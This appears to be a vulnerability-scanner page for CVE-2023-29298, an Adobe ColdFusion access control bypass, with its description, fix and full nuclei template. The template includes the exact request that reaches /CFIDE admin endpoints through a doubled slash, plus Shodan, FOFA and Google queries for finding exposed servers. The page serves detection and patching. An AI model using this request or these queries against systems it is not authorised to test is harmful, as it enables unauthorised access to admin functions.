Adobe ColdFusion - Access Control Bypass

Exploited in the wild. Listed by CISA on 2023-07-20; known to be used by ransomware.

highseverity

7.5CVSS score

99.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass access controls and gain unauthorized access to sensitive information or perform unauthorized actions.

Fix

Apply the latest security patches or updates provided by Adobe to fix the access control bypass vulnerability.

How to confirm it

Send: GET {{BaseURL}}//CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx
Positive when: matches /([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}/ AND contains(content_type, "text/html") and status_code == 200 and len(trim_space(body)) == 106

Run it with nuclei: nuclei -id CVE-2023-29298 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-29298

info:
  name: Adobe ColdFusion - Access Control Bypass
  author: rootxharsh,iamnoooob,DhiyaneshDK,pdresearch
  severity: high
  description: |
    An attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass access controls and gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Apply the latest security patches or updates provided by Adobe to fix the access control bypass vulnerability.
  reference:
    - https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
    - https://github.com/XRSec/AWVS-Update
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-29298
    cwe-id: CWE-284,NVD-CWE-Other
    epss-score: 0.9979
    epss-percentile: 0.99955
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - app="Adobe-ColdFusion"
      - app="adobe-coldfusion"
      - title="coldfusion administrator login"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2023,cve,adobe,auth-bypass,coldfusion,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}//CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - ([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}

      - type: dsl
        dsl:
          - contains(content_type, "text/html")
          - status_code == 200
          - len(trim_space(body)) == 106
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from